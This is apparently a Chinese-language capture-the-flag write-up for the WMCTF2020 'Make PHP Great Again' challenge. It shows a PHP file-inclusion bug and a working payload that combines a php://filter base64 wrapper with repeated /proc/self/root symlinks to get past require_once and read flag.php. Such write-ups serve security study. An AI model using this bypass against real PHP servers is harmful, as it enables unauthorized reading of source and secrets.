[WMCTF2020]Make PHP Great Again 1

z2gh / 2024-07-16 / 原文

文件包含,内置文件访问

<?php
highlight_file(__FILE__);
require_once 'flag.php';
if(isset($_GET['file'])) {
  require_once $_GET['file'];
}

进来之后源码很简单,可以发现这个就是一个简单的文件包含,唯一的限制就是require_once这个函数,我使用的是,/proc/self指向当前进程的/proc/pid/,/proc/self/root/是指向/的符号链接,想到这里,用伪协议配合多级符号链接的办法进行绕过

?file=php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php

还有一些其他的方法我是从师傅的wp中看到的,大家可以看一下:https://blog.csdn.net/azraelxuemo/article/details/121664453


解码得到flag